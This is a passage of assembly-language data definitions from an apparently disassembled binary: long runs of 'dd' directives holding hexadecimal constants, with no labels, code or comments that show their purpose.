0B8FB902Bh, 268D01C1h dd 5D22A8Eh, 0D339C898h, 0B3B65A0Fh, 0D93680C5h, 5787E0h dd 0BCE93F32h, 0CC6A3B59h, 130350Ch, 0E2695Dh, 865B1C88h dd 0E650485h, 68F47F00h, 0CB7C42CEh, 349B00EFh, 0D7D22B0Fh dd 0AC07D9D5h, 468F66FCh, 0C8A7A110h, 7F040E94h, 22C0D8A8h dd 67F95DE0h, 1DF87103h, 0F055421Bh, 0F53FC0h, 0D9B61AB3h dd 8BCD5932h, 0F0002F70h, 0C2900BCAh, 195E84Dh, 4494C6A7h dd 8048AB14h, 363B8278h, 0EA16530Ch, 68C500A2h, 0E9950D3Ah dd 107967ECh, 5BF97E00h, 92015652h, 2DED13EBh, 40E91C6Bh dd 63330CF2h, 4C007C8Fh, 1D397971h, 1646CE18h, 113ECB02h dd 9B28FC7Ch, 0F68B80C8h, 0D76B00F2h, 44A358DAh, 53307CFDh dd 16CA4011h, 0A89800BEh, 477F20B4h, 6F3FA597h, 8483280Eh dd 4E1F581Ah, 19B660D0h, 36C985Dh, 0A2E35054h, 7807C7D0h dd 1DE65260h, 8F5AA5EEh, 3B94088h, 82DB371Ch, 74D80B9Dh dd 3405F4D8h, 884FB2CFh, 3637E400h, 60AFE9h, 0C116AC0Dh dd 46F3C8D7h, 1C258h, 7518C687h, 0FEB42CFh, 2666A8AAh dd 0E62A25h, 787D12D7h, 731D6FC3h, 5303E965h, 0B950CA06h dd 5FC0DC74h, 18EA7172h, 0E42AD486h, 8C0B32F1h, 1855DAh dd 83011015h, 0A1E3001Ch, 5ACA8EA3h, 413F69CCh, 0A08A8E9Bh dd 28F745DFh, 0BA248F80h, 98991DC1h, 0EE07FC5Bh, 8096FAB9h dd 496FC058h, 0BE6E3E3Eh, 0CB330023h, 0AEB8545Eh, 26C5008Bh dd 0BBD43B58h, 6C001B49h, 3A5C7A51h, 9B0483h, 4622A41Ah dd 66171D4Bh, 378A3900h, 0C8AFA0AAh, 5A9F0053h, 7C72E052h dd 890057CAh, 35024FFAh, 33D314h, 2806BFE3h, 29D0D75Ah dd 6F0BE600h, 32CC1B34h, 0FF1A1C05h, 479EC08Dh, 845C9051h dd 37A67118h, 5DD88h, 3AF45CFh, 7BFB29DFh, 0B100C47Fh dd 0E9B3BC84h, 25F8A1h, 0F172AA15h, 35944D8Eh, 0CD886400h dd 28A7C9B6h, 0C0597FD6h, 0DB169611h, 8201E151h, 2CA15C8Eh dd 0E040CB3Eh, 135563Ch, 371BFCBBh, 0FC85FEB2h, 652A49BCh dd 0B4028C36h, 12B87E28h, 0AADA8099h, 0B18214h, 0AC3D8823h dd 80D4B3A0h, 5547BA00h, 42DE76D6h, 710D00FDh, 4D31DC13h dd 5000C01Dh, 0BB1554Fh, 0A75A16h, 0ACF39160h, 0BE73D143h dd 7AA1A5Ch, 868C74DDh, 2EBA3F30h, 26B300CCh, 0E5143415h dd 0E40B549Eh, 80455FBBh, 0BF774A1Ch, 6F97003Ah, 7F14FB2Fh dd 3EF49BA3h, 0C2CE910Eh, 0C919E0AAh, 0A54884h, 4E9E3AFFh dd 6D07EE03h, 0E3F05901h, 8DFFCA9h, 0ACE01180h, 0DC031F0Dh dd 0C0F72C77h, 80C27869h, 80F7D389h, 0DF3A558Ah, 0C3FC00AFh dd 0F3C97EE8h, 0CE1D9C6Ch, 6BC0C7BFh, 43EE742Bh, 56E730A2h dd 0BFC8B241h, 0BDD6C407h, 9DF1CCE1h, 0B4405219h, 0FB3CD08h dd 262A44E4h, 0CC302260h, 0E50761D4h, 0BE2B8A68h, 0B8CBE6C0h dd 0F50A00D0h, 22436614h dd 98F6D629h, 0FB111200h, 0B5065FDh, 7D0F02CAh, 8DCC10C0h dd 7038740h, 3525E52Eh, 0D92C003Dh, 0E2374993h, 92220062h dd 2EFECD29h, 0DD0B47C3h, 81864489h, 5C4C2451h, 1E975020h dd 40CC8DCAh, 60126B22h, 2A487E9Ch, 4EDA0778h, 0ECFAD15Bh dd 48E14C80h, 0EA3EFBD8h, 0C01500F5h, 3CBD7554h, 4509C50Eh dd 208DCBA9h, 366E31B4h, 8403491Eh, 55E03400h, 5668221h dd 0FE1C5F09h, 0CCAC21CAh, 39818EEAh, 0B0F7612Eh, 136ED067h dd 68DE691Dh, 33BD349h, 0F8246B3Ch, 0BD1B12h, 1C5B961Fh dd 9C46E4C9h, 0AA014800h, 0A0798056h, 0F6B20197h, 73342F2Bh dd 41C02053h, 0B7012890h, 0BB064970h, 0E44596A5h, 5E231F00h dd 341742Ch, 0FAB7936Ah, 50983C56h, 0CE00B5DCh, 0D41CC954h dd 79043E64h, 177704C6h, 843C331Ah, 7381C734h, 89B097E7h dd 5648A974h, 63600C1h, 0BEBDD8ACh, 0F20D00D7h, 0B446717h dd 0D4716DFBh, 517D2500h, 0F7D8713Ch, 38EF0023h, 46402642h dd 8000B497h, 6AFB1FEEh, 0EA7758A2h, 566000ADh, 0EC4C0E71h dd 0AD9811DBh, 0C0D0FC1Ch, 812EB849h, 1D8CFE50h, 0CB006C23h dd 4CE767C5h, 5EB0786Ah, 0D51D8300h, 72A2FD94h, 0A67400F0h dd 0D2476BDCh, 5E00E9FAh, 0CE01D9F1h, 1FA1905Fh, 0CFAE6CC5h dd 0DEC729C3h, 587A31E3h, 7E05EC57h, 0D0F82F00h, 0C106BCFBh dd 49540030h, 1093F30Eh, 8200DCF7h, 4EDF4AB5h, 0A310Fh dd 1747B0AAh, 27BAF051h, 9989DB0Eh, 0F430C246h, 63A4425Bh dd 6BF00016h, 0EF510B76h, 8E39B8D9h, 0E2332CB7h, 75CAB500h dd 3D3C8B42h, 0D33FA9ABh, 2990490Eh, 0DFA2A740h, 9539B682h dd 0ACA3002Ah, 924F8CDDh, 5F2B0C2Fh, 0DA680BC9h, 0BE807601h dd 331DFB32h, 3A009832h, 753BE37Eh, 0C530C426h, 65BE18CFh dd 6782F05Eh, 805D117Bh, 6D0288B3h, 0DA08A300h, 43B6BB80h dd 665B0648h, 48E72E8Ah, 3320F902h, 486096D2h, 0F823E590h dd 3F9D00F5h, 6E804E50h, 10A0BED2h, 7500035Bh, 55F3DF20h dd 0A50593h, 0B908854Ah, 8FA84D98h, 7297B600h, 5BBF5431h dd 589E00D7h, 903B3D22h, 34002AFCh, 7D20262Eh, 140A54h dd 77D1099Fh, 53DF139h, 0A5805C00h, 0A9469734h, 0E97348h dd 2EA610BBh, 0C9FC1B73h, 0F040D100h, 947E0BFh, 18E50774h dd 77288BE1h, 179700E4h, 67701BC4h, 6593AC0Eh, 0AD526064h dd 0E6A7B30Eh, 0D307007Eh, 3F2F2CC7h, 1B005678h, 0F32548A3h dd 750F8B8Fh, 430B00A7h, 1D9AFA4Ch, 0F607F112h, 0FB732669h dd 68713922h, 1308BC60h, 0F3CA025h, 5F216819h, 806B3A53h dd 0B6985421h, 0E41E39h, 7F91BB1Dh, 7E1C0207h, 0FB02FC76h dd 0F06066B7h, 0BCB4A15Eh, 1FF1A956h, 0EC40ACE9h, 6A52E88h dd 0C2B97DBAh, 93302872h, 7C1E316Dh, 0BAF3078Ah, 90B9C852h dd 0D1287BF7h, 0BF20DE00h, 0C5B7699Fh, 0DC563BD5h, 40384512h dd 57D96A2Ch, 15003427h, 0A0AFCC19h, 1CFFAA36h, 40DDD470h dd 5E5072F2h, 0D1C7743Ah, 5A90A127h, 7BF92668h, 318B04DEh dd 805281FEh, 0B1F09234h, 7093B218h, 902D60A1h, 8FEE1Ch dd 54E245ADh, 0CCA9C78Bh, 0B758A701h, 0DD7242C4h, 360FA480h dd 0E5B4DB7Ch, 0F6602414h, 0AD0C818Ch, 57E891D4h, 4AFB2EB2h dd 0D6384128h, 1AA18F68h, 39096054h, 603A563Eh, 0B449196Dh dd 4A37B196h, 93352010h, 5B5180BFh, 620042C8h, 0F4965D40h dd 0D3679Ah, 6C738C0Fh, 2DA3868Ah, 0AF6B3Ah, 0E8CC905Eh dd 5C25BDA1h, 6F7E14F7h, 21B808EFh, 0A100D06Bh, 6F55CC54h dd 7F57446h, 1EB07E84h, 0F79C37EBh, 192DA0FEh, 8D0051A0h dd 0A567D33Ah, 0EEE5C93h, 9176D4ACh, 57B05098h, 0A296500h dd 135A4050h, 304F7468h, 0D120AD7Eh, 0A700645Fh, 822B4B8Ah dd 381CEFFh, 1A2835C4h, 48009071h, 0C962EEA5h, 3A241BFDh dd 4D80B849h, 0ACBB7A96h, 0C73960CEh, 7BDB8C01h, 6C5088D0h dd 0D3906083h, 65540D8Ch, 13880A26h, 21008748h, 47645CD0h dd 1822F5D6h, 8874E99Eh, 0B2A02955h, 94A8AA83h, 0C0E89DACh dd 11A40430h, 4B502643h, 1BA1FC54h, 0F60922A8h, 2EE30321h dd 0AD9EB50h, 0CB08F5B8h, 0B0BC5730h, 0B0EE190Bh, 0AA7BBDh dd 0F5ED4B74h, 46350785h, 2CE46E54h, 0A1E9048Ch, 62FF25B2h dd 0D16A2095h, 4901A9A1h, 0C041436Ch, 0A8506E1Bh, 8F3A73h dd 939ECB7Dh, 1F7A2F03h, 82DA5A00h, 0AFE7FD5h, 9180F139h dd 57F2FF83h, 5D0A5E9Eh, 844F7A19h, 69413C1Eh, 249C67F8h dd 4670D4h, 1F0D732Ah, 595B24Fh, 36B1A100h, 8BB6F320h dd 9F80003Dh, 0D2F9699h, 0AC008153h, 0ECDAB34Bh, 0B0D2B764h dd 2BF90093h, 31BC84A3h, 5D00F323h, 4E35FC2Ch, 269D1D44h dd 289FF8A0h, 0E41701DDh, 0AF3E1F38h, 1142DF7Bh, 3DCDA004h dd 7010C013h, 1ED2E7B8h, 6BB6BE00h, 366CCC3Bh, 9250022h dd 0DF9C44CDh, 0E63270BBh, 208229E5h, 0B71D5B41h, 0BC773F00h dd 1E501FD7h, 13C78ECh, 5525D9AEh, 0F1E4E503h, 0CF81E27Fh dd 3070AA68h, 520082F2h, 3DA7617Ah, 278C9Bh, 0F1AC8DFEh dd 0D368296Dh, 1CE0B900h, 80B166F2h, 4EAF0070h, 0F76F2CEEh dd 8C0001A1h, 990A614h, 6B80A8h, 6E21D91h, 8871B830h, 749AC300h dd 0B9503576h, 97C90073h, 26108001h, 7B03F8B3h, 5948C286h dd 14BC865Fh, 8C187D3Fh, 9D228300h, 8E0958F3h, 6AEA3500h dd 50EE4829h, 733F0038h, 3C7E1F81h, 6500F234h, 0D72A609h dd 67B0B2Ah, 8C4D68A9h, 0AC0011F3h, 0D69E4505h, 3FA367h dd 469ACD55h, 14EF9738h, 355D3300h, 0A9A67960h, 0E6762C86h dd 0E30601BCh, 0D855BC0Eh, 0BA01FA3Fh, 0AC0F1887h, 6CD895CDh dd 0C4C850EEh, 0A9AA00B0h, 0EE2B1AFh, 42E4D919h, 0D7D01D2Eh dd 37D47500h, 0AD318Ch, 309833E7h, 3D80215Bh, 0CFAD512h dd 977200ABh, 1C627E4h, 4FF25301h, 12AC846Fh, 55F880FDh dd 0A1DD09EFh, 2404E718h, 0B2008E40h, 79701897h, 735BC600h dd 69C40CDBh, 91D23B83h, 0E9BD5D00h, 2689E5EBh, 7E004D7Ch dd 0F102C2A6h, 874922h, 0CBC79272h, 3BAF31C3h, 0F4A33F3Eh dd 2A4CD500h, 39543650h, 226009Fh, 0A7B22F84h, 4DE6A1C8h dd 0AA5C20C0h, 0AB1A4h, 1EBE21EFh, 0AE0E4901h, 9E7BFC18h dd 0E4A950h, 0A6322DEDh, 0FDE36138h, 0A72481Fh, 6D7003Ch dd 0F49F29AFh, 756F038Dh, 98C2A211h, 0C83187C1h, 133A7910h dd 9D690320h, 0B85D34ABh, 1D301584h, 80F9A8D6h, 0D7DE89F1h dd 0D42D99CBh, 0A32A606Ah, 0D36B0F27h, 31406CDAh, 0A8342148h dd 0A781AF0Fh, 9A0181Eh, 35DC4842h, 3D601D00h, 204242Bh dd 4C1C8000h, 91F1C0BCh, 2AEB00ADh, 6583394Dh, 9F28597Bh dd 8F00F0E5h, 4453BBF6h, 6A42FDh, 0AC37C95h, 0D6BF1589h dd 0B9B5AB00h, 0EC381E9Bh, 16C1003Ah, 64EB6E76h, 8F0039BBh dd 1326E085h, 39E95643h, 0A5A43336h, 0A23700C8h, 0CE2BF16h dd 6605C64h, 44CF50D2h, 714F00FCh, 0CCB58AC6h, 48C04BEDh dd 3035DC6Dh, 1E9840EAh, 72627E00h, 212641D9h, 0D2AE00CAh dd 11A53792h, 56FE1BEh, 14F1E460h, 3D1AC200h, 0D776154Bh dd 8C4E7A00h, 0BBC68F0Fh, 0A17800BFh, 1AAC3E41h, 0D71C653Ch dd 7040A6A9h, 16E653C6h, 9162012Bh, 0F563DB22h, 287C606Fh dd 0C0C92E00h, 1A291649h, 0A7DF003Ah, 1E66C1E8h, 0F90040D8h dd 7AB56B99h, 0A8817Dh, 57CF4C77h, 0F60C52C2h, 0E8F2E500h dd 129F95D3h dd 0BDA8A1F3h, 0DC6440CAh, 801900C5h, 0D3586064h, 0F973A5A2h dd 4766B403h, 0F0B30FEDh, 76BED01Bh, 328C0071h, 220A56F5h dd 5500B2A4h, 9F3BF1E0h, 1E119067h, 4044052Ah, 4D2F4696h dd 6A02E051h, 5E154A69h, 73C48016h, 7E6686h, 9E46927Dh dd 0B563751Dh, 8CD20A00h, 68785F90h, 951200CCh, 8AA37438h dd 6A006F56h, 3047099Dh, 1D3A2B83h, 8072A26Bh, 9E816CF5h dd 123B840Dh, 3EA50036h, 0E5352738h, 658703BEh, 0B2E1379Ah dd 80FF76E3h, 0A2302F3h, 1493A000h, 254B356Dh, 82730FE5h dd 6560ED70h, 0D97DACD3h, 43FF0B00h, 92A1531Ch, 819A50D7h dd 0EB60003Fh, 0ADD237B6h, 0FB01E2CAh, 3C8BD631h, 146028D4h dd 0D543E2Ch, 0EFD1CD80h, 0AE158163h, 94078E7Dh, 50B87B6Dh dd 60969811h, 118011DDh, 3A1D3CC1h, 69002A5Ch, 22EF5FF5h dd 13370Ah, 6CBC1CD5h, 0EC23F4B8h, 77807000h, 0A6A0C98Eh dd 50530046h, 859EB14Fh, 65FFC3FFh, 0AD60EACCh, 190E432Dh dd 0A0D83BDDh, 9CFB9193h, 255F28CCh, 8CEA80h, 7DE74A9Bh dd 3BBC1135h, 0F5C51B00h, 0F2F08160h, 3E270037h, 57662F87h dd 0AD00FA6Eh, 5EB8EF98h, 0CC412Bh, 0E34099D0h, 642926F7h dd 0EC45941Ch, 252AFB40h, 43AE90h, 6AF25831h, 0DEEEAF6Fh dd 53352B07h, 0F09CF789h, 0CC0B00B6h, 0AA5B8B05h, 21E6026h dd 9541DAD2h, 0B769E55Ch, 39C740CEh, 65BA0075h, 19F609F1h dd 420F2D31h, 49B4A8EEh, 62FC201Ah, 26790571h, 8028DE5Bh dd 3C6FD601h, 673C6425h, 745D805Eh, 7A31FF87h, 5A410955h dd 0B8037E18h, 54B06879h, 2E3A7204h, 4867AC65h, 3C247480h dd 5C16253h, 0BB7AB14h, 6784D0E0h, 887813F0h, 28A0341Ch dd 12897006h, 209E3890h, 0F724033Ah, 0A9131834h, 20A0EF96h dd 0F3182C63h, 6F086D73h, 9C885CC7h, 0CC7C75h, 6314A094h dd 9634E88Dh, 651CC850h, 34508C68h, 0C56A983h, 4748026Fh dd 0B12986Dh, 520A0C49h, 610C1438h, 0FF6D0A3Ah, 9068CB96h dd 340800DFh, 0AA71EF6Bh, 0F117BCEh, 9D2597B6h, 7CFA7A23h dd 0E2FEC288h, 11D21500h, 7F72C0C4h, 6F9B0004h, 81964D4Ch dd 6A00D6EAh, 0B411643Eh, 4AE548h, 1FBEB75Fh, 32CDC7C0h dd 7B6E8000h, 278DB91Bh, 9A9D004Eh, 0D2C92A97h, 0BF000398h dd 0C1443ED8h, 0EC43CF2Ch, 3AA83A0Fh, 0E5225181h, 0D0EDD390h dd 560077A3h, 947E5FD9h, 0B0805508h, 0E221005Ch, 796DDFCh dd 0C00C3DB9h, 0CA385B10h, 0CD70B588h, 69AA488h, 61056400h dd 0ED0A6BD9h, 7E2B013Eh, 291F16A0h, 0D565D08Ch, 3058AF30h dd 1237FE8Eh, 906F05D3h, 3CF6658Ch, 0A3E3481Eh, 0DF1801D3h dd 93E418h, 5CF289EEh, 15D08D6Ah, 0BE8C351Fh, 4F38C900h dd 60EF6377h, 0CD1F49EBh, 0DF026974h, 8FD00E7Bh, 5E2FE03Bh dd 3B97F6ACh, 10053CA6h, 83967E17h, 0CAA06F3Dh, 180044FDh dd 57F94201h, 0F0C46DBEh, 7E690B9Ah, 1000828Eh, 0A9EB08BFh dd 0CF9286Fh, 53C109h, 68EE06D1h, 941C514Fh, 931D6CA0h dd 822CCF3Eh, 6101CC39h, 842923C1h, 8033CD99h, 0F0DCAA11h dd 7C8D9712h, 81E012A8h, 585F064Fh, 217998DEh, 0CC00BAF8h dd 65FABB11h, 4D3A55h, 2B58B0DDh, 674973B4h, 0C60D8B00h dd 6EFB784Eh, 430B0C11h, 4CB254BCh, 34D33000h, 0A23D6A84h dd 3CCF496h, 24C63E70h, 0BB98D49Ah, 0EE000569h, 6786B3FCh dd 19C5A711h, 102C8B8Fh, 7328812Bh, 0A3FF5CB0h, 0C5E51980h dd 26C0213Ah, 677A1910h, 0DAFA7100h, 569AA1A2h, 0BB78DF00h dd 7422D1B8h, 4879BFh, 7AA768E4h, 71FE0EB6h, 86A11600h dd 956637D4h, 0CDE00042h, 8D805676h, 0ECF14CCBh, 353C21F6h dd 3907011Ah, 0CABCA111h, 608AD3C0h, 0E0AEB0B6h, 873C4996h dd 59A0F26h, 80A48EB2h, 532F5FA0h, 0C8F8E5h, 90E4DC5h dd 2C8C3045h, 7F607672h, 3F13EE9h, 4496303Dh, 0A2208B10h dd 80377A38h, 8A39A61Bh, 757C4E43h, 41F1DCBBh, 9DAF239Fh dd 865087F9h, 71003A4Dh, 0C2567Fh, 0C5334C97h, 0CF1F1C42h dd 0E7AE4700h, 0A67A8FDCh, 0B45900C1h, 721A6092h, 7C003CEDh dd 14C36DA4h, 8FBA56h, 8B506318h, 0E6278568h, 58406963h dd 0F0BBC9EAh, 0C1645080h, 0DEECFC18h, 448510C0h, 1E035h dd 0DC5E9AEEh, 69090591h, 18C3AF71h, 0F02ACB88h, 0ED6C78Fh dd 15BE7F56h, 60444C06h, 6B18DE00h, 0A2DF734Fh, 50FE3A6Ah dd 7F809E00h, 14A1B76Fh, 0E46C1701h, 0B9667345h, 37E6D99Fh dd 9EF3F041h, 3800ECC2h, 0D2FDA457h, 1056B2h, 923AB934h dd 0DE7E121Eh, 473083F3h, 0B9A1493Bh, 0D0D0AFB0h, 0F91C19B2h dd 0FCAA511Bh, 5B004B20h, 2D03D3DFh, 1E8D0Eh, 97399A93h dd 0D8AF1D68h, 5BC088DDh, 757011A7h, 7B56F4F5h, 0FEBB007Ah dd 0C361CB3Ch, 8319AA21h, 401147EEh, 140C044Fh, 7B1041B1h dd 0E2013D76h, 23ED6FC1h, 0F6DC470Dh, 0C53C0310h, 0AF0AB814h dd 0AE6F2811h, 1504A121h, 0AC083DCAh, 22CBC642h, 48272295h dd 9E088B8h, 98C71A88h, 223A51C9h, 0AD7196E2h, 3C1BD601h dd 0C25E3DFDh, 1AEDE4h, 7C3BF331h, 7AF12441h, 5BC0A000h dd 10AB0609h, 95F9077Bh, 97410456h, 86ADE02Eh, 8D00658Ah dd 0CED56A61h, 0E9A52h, 0EBBDB0A6h, 831AF36h, 0ADF76D00h dd 929F8D78h, 2B6A0056h, 909998BCh, 0C074B19h, 8CCB1E04h dd 0A4757Eh, 0BD55768Eh, 3A228172h, 0E9BD9B13h, 578E300h dd 5624AAA9h, 0F519E100h, 0CF2B0223h, 607200B0h, 75411E09h dd 0E002C20h, 50F4E63Dh, 0E6124A4Bh, 9DAB015Ch, 8E8058C9h dd 95D85005h, 1F004F67h, 0A27DCAC2h, 9DB05B06h, 57000950h dd 3F1B50ABh, 4734F6h, 74BE20FBh, 0D310E18h, 30C0600h dd 0B34E6B46h, 0E86791Ch, 61CAD419h, 0D7768A80h, 9600D9F8h dd 0BB454FEDh, 0A599Fh, 0D4B4AFF0h, 0F6337FD0h, 407BBA00h dd 5CBF3723h, 3B3F001Eh, 0C96A2686h, 0DE00EBA3h, 31954A92h dd 0C27399h, 9E838D7Fh, 12D4165Ch, 13D6400h, 931A56FDh dd 62B90032h, 87A8D6C9h, 9100196Ah, 3F203CE3h, 3A5A959Bh dd 43BA1B60h, 7E81D680h, 8E9BCD7h, 0F2CF4100h, 2A9A99EDh dd 20EE0E71h, 96C04B2Dh, 0DB6DFF72h, 0BFA748h, 0E5D392CBh dd 5735F9h, 0D2512DB4h, 421AFCF8h, 4A024CF0h, 0A1F6E6F0h dd 92415573h, 31BFC039h, 0EAAC800h, 9A0F320Bh, 0AFD70784h dd 60CFD1h, 421DB85Eh, 4DFD2F2Eh, 8E0A9326h, 0C480AC78h dd 2854AF1Bh, 0A1E602F6h, 98BB02FCh, 9DB83EE0h, 0CF697701h dd 2BF4D48Ch, 0D17025C5h, 486770B9h, 46240434h, 540404FBh dd 820483CEh, 14148C4h, 7BF457FEh, 6AEE4A1h, 3300C677h dd 1CBFBDB5h, 90E6963Ah, 850B0308h, 0FBE3B3E0h, 20981000h dd 82DDFFC1h, 783C000Ah, 344EF46Ah, 0D9002FEBh, 0FF83BFEh dd 24722292h, 564DE1Bh, 0C704A2B4h, 0EB326013h, 0D3008F8Bh dd 6B54DBE0h, 0DE25B2h, 7C584B37h, 6AF13398h, 480CF0EBh dd 34220400h, 80056F2Ch, 141D2C93h, 43003DE7h, 8330B7F4h dd 0D40B5F4Ah, 80D5E913h, 0E4035C0Ah, 50F200DDh, 3063228Ch dd 0DB00E576h, 0CA6141F8h, 78D20CBCh, 6E4A0F79h, 827CC33Ah dd 0D428CB37h, 4009E540h, 2CCA3100h, 140FD6DFh, 94010307h dd 371AB585h, 767970E8h, 0FDD39C00h, 96251DC4h, 0C6230127h dd 843A8F0Dh, 0EC9AD4BCh, 0BF0673FAh, 2DC4E67Dh, 0F757D60h dd 499FB455h, 0AE4A00BDh dd 28C41344h, 665D8100h, 5CDE724Bh, 0E448C507h, 9BF400E0h dd 0F6DAEFFAh, 0B7077C90h, 9A6F2F47h, 70FE20E0h, 38300E0h dd 3177B6A7h, 0D60BC51Ch, 544634h, 5824FE46h, 0C0EB09C1h dd 5080CFF2h, 4A70B00Fh, 301CA548h, 0DCC82857h, 1F2003Dh dd 137398A1h, 1200B32Ah, 6B5FD467h, 0B4522949h, 46C800C8h dd 0F1C24278h, 0FC6F771Ch, 0FD80DCDFh, 0B513EED0h, 735B005Dh dd 40E96B27h, 5E17334Ah, 280EF60Ah, 61FBE17Ah, 2180652Ch dd 3E2AF915h, 0D50CE0A1h, 186E4F09h, 437404B2h, 0C008E327h dd 0A7A8554Fh, 0FE1D0501h, 9B7C6885h, 1FF50CF8h, 525B0ABAh dd 0E120009Ch, 55F3CCECh, 0C8FB7D00h, 9E7FBBFDh, 9EA7743h dd 0CC7667CBh, 0A91000DDh, 3070D8h, 0D7714960h, 43CFF7E7h dd 0DBC5731Dh, 6B3982C0h, 55EF448h, 0D9A25A3Ah, 79100DFh dd 0A47EFA9Dh, 8300F790h, 490355F8h, 0EFDBD3h, 0B723AF37h dd 0D5CC4035h, 2BB4BA01h, 759D14BBh, 97FCC20h, 0EFE53EFBh dd 720C4A0h, 4400DDC7h, 0FF3CF8B6h, 0B956E0h, 320211CAh dd 71A88593h, 0CE23F700h, 77E264D2h, 4D500D0h, 398F58AAh dd 6E003335h, 6F1061FAh, 0F5057EA0h, 24E878DDh, 76D005Bh dd 0C804C6DDh, 8018916Ch, 83296ED8h, 749400A4h, 0CB432771h dd 761F148Dh, 2DCEB862h, 1A1D401Bh, 955C47h, 0EE02BA3Ch dd 946372C1h, 0F285F41Ch, 0A6A80BBh, 8BEA17F5h, 499C1EE3h dd 4023DEE2h, 0B9020FD9h, 510078C5h, 878CDA5Fh, 4FABAFh dd 10B0888Eh, 46644D03h, 0F7C55007h, 0BD09B36h, 0FB9FA5h dd 0EE64847h, 0FF93DB2Ah, 0B86B4F00h, 6CCFD45Ch, 0BA4A0FF2h dd 0AAE061B3h, 74450763h, 8BE0B900h, 5209CCC4h, 0CE5700D2h dd 3EB1BBE4h, 5A00D553h, 6015C3CDh, 26507Eh, 3C1E31BCh dd 48F61B09h, 0F76E3007h, 0E5C0FB5Ch, 1FF0C665h, 81A6735Dh dd 6F9F3C2Ah, 7840701Bh, 46261800h, 94A5F9A1h, 2DB700DCh dd 0F9BB884h, 2AFA2BEBh, 0A6918900h, 0CB692316h, 0C45D009Ah dd 7CC8B027h, 0E6073B3Eh, 2F4C8B01h, 90B5BA53h, 8165CCh dd 6EF91BC8h, 24685062h, 0D4006CE2h, 0FB3802Bh, 0E48E73h dd 0ABE72DBCh, 0BA29822Eh, 0FBD7ED00h, 0FFDB324Ch, 72D1C01Ah dd 3DD0C5A6h, 0AF803Bh, 0A4A36CD1h, 12D0A68h, 0C0550616h dd 0F42F7E7Ah, 9363D757h, 0A0766529h, 2B8AD68h, 56E3387Bh dd 2A405E9Ah, 283024F4h, 0F6B4A472h, 0D53E0032h, 52D6E8D2h dd 0C370700Ch, 3355000h, 133355DDh, 9D9A00EAh, 1B8D4539h dd 7C60F216h, 0A8EDA129h, 0B17511h, 281DB655h, 93AA6A51h dd 409A5400h, 142C4B0Ah, 9B3700BEh, 172052Fh, 50F0959Fh dd 79D8B7h, 96B98680h, 4523425Fh, 0B819B300h, 3E375897h dd 0A4800018h, 99CCDCB6h, 0F4017155h, 698932E3h, 5DD9D601h dd 5124BD0h, 68C97E48h, 0DF8C0754h, 0AF9AC1C8h, 82EE3055h dd 44313A00h, 23BB1D91h, 24817B73h, 30DF367Fh, 8ED0907Eh dd 6D61BE70h, 1E8A462Eh, 26EDD4h, 0A129EBA5h, 66C1840Eh dd 0A77F650Ch, 73531C8h, 24869D19h, 3846D0FFh, 260F8F77h dd 40ABAD98h, 2E943E13h, 5496000Ah, 5B372832h, 0C401ED65h dd 5F7A076Eh, 1DF0DBA4h, 171F00AFh, 0E1ACD27Ch, 0B81D24B3h dd 19C01402h, 0EC6C783h, 37A000EEh, 454A0856h, 5160DF34h dd 0A6B20CD2h, 77031C66h, 0F9BD008Ch, 5AD3CC96h, 241D760Eh dd 0F51000A9h, 1793215Fh, 490CEFh, 0D2E06A7Ch, 0DE00BCCBh dd 5E1B072Ch, 24666F42h, 46F412h, 0F7ED4B28h, 0D409B508h dd 553BD9h, 419754F0h, 31BD0110h, 0E9754074h, 5FCD70EEh dd 0F586A18h, 1C9FC0h, 1064E56Bh, 955B56D8h, 0E7996100h dd 0CFA57E8Ah, 0B77004A9h, 805A831Ch, 0B2D8EEDCh, 0EBFAA10Dh dd 0C0F490F8h, 0EA3032D9h, 0BE005079h, 3D344032h, 0EF00D7CAh dd 6F6EEA3Fh, 7603FA9Ch, 1F0BB3D3h, 0DA2A905Dh, 0CFF01C0h dd 2740FE3Dh, 68F820EAh, 8C91413Ah, 386E9AA2h, 26C10009h dd 0BAB7693Dh, 0AE3B7538h, 6B02007Eh, 0DC68FC37h, 2BBE00D9h dd 0CCAD2744h, 7C008F9Fh, 380A11BCh, 7AFF2054h, 2ACA0030h dd 722D4EEFh, 731EF97Eh, 924081FAh, 668BB65Ah, 0E4E230C5h dd 82C8D2D0h, 1CA4F400h, 0B7D09F16h, 79EF009Dh, 0C9692D27h dd 0F50C9BB9h, 0F031EDF8h, 92BB000Ah, 0FF50412Ah, 762E7FF0h dd 0EE016B3Eh, 5871E544h, 16B9820h, 0AD36076Ah, 8156F10Eh dd 967487F9h, 0E3C09F2Dh, 5BC00633h, 213567D1h, 5958F600h dd 703C8EB5h, 0AE7B076Fh, 0C0E9F851h, 315EF0ACh, 7896A007h dd 35F005C0h, 0F0CA6AE8h, 1A270084h, 6EB31E0Fh, 5A3F455Fh dd 7DFF00AAh, 0AEA3FBEDh, 762490D5h, 0FC4E00E5h, 545E7C0Fh dd 9B7FE79Fh, 0E027EB00h, 0F46ADBB1h, 0FDA600E1h, 20868D10h dd 81056C42h, 0CF9D844Dh, 0A10D07FEh, 9F000B8Ah, 6F9ACD97h dd 2D2ED605h, 0F01C07A2h, 2A5AE100h, 1639BB7h, 59DC9C44h dd 8033C20Ch, 874CC5D0h, 52B10Bh, 7784711Bh, 0E05E64Eh dd 8900DA77h, 767926BBh, 7A3F9757h, 0DEE024F1h, 947D80E4h dd 0D15EF6B7h, 7B23B90Fh, 27744007h, 0F4B301A1h, 893A07FDh dd 20EA3DE2h, 0FC9C16AEh, 6216B3B8h, 5C13351Ch, 0BE993C01h dd 78202977h, 0B865015Dh, 28BAA963h, 20F5F994h, 0B013214h dd 0CC50666Bh, 13C46CB3h, 4B30007Ah, 296177D5h, 7E01DA52h dd 0ACCA7FB1h, 50805AA6h, 50FFD26Eh, 0A880CD79h, 0F02188A5h dd 7FB4AB00h, 922B06E1h, 0CE490051h, 0A342401h, 0B200E357h dd 3813151Dh, 50F8B983h, 387D94C2h, 9FCE0B5h, 63BAEE44h dd 0BF00A009h, 884E32B2h, 58E8EA00h, 0AA386054h, 3EA2B01Bh dd 8E8014B1h, 916E4097h, 0E51E022Bh, 4641C4ECh, 8598922Ah dd 30D229D4h, 0B8E09B87h, 49003411h, 1DEAD58Eh, 0C2A64h dd 386C09A4h, 36136BADh, 7C242F1Fh, 0FCB7CBC0h, 265787C8h dd 80BCE57Bh, 58F9BBF0h, 0A8033F17h, 0F57AF3ACh, 872AB05Bh dd 78F807ABh, 0A02355FBh, 1AC8C89h, 92FE1C00h, 0B98DC5B0h dd 192212FAh, 1D1BEC29h, 80FEF8BDh, 4E5F0502h, 389147h dd 69B484EDh, 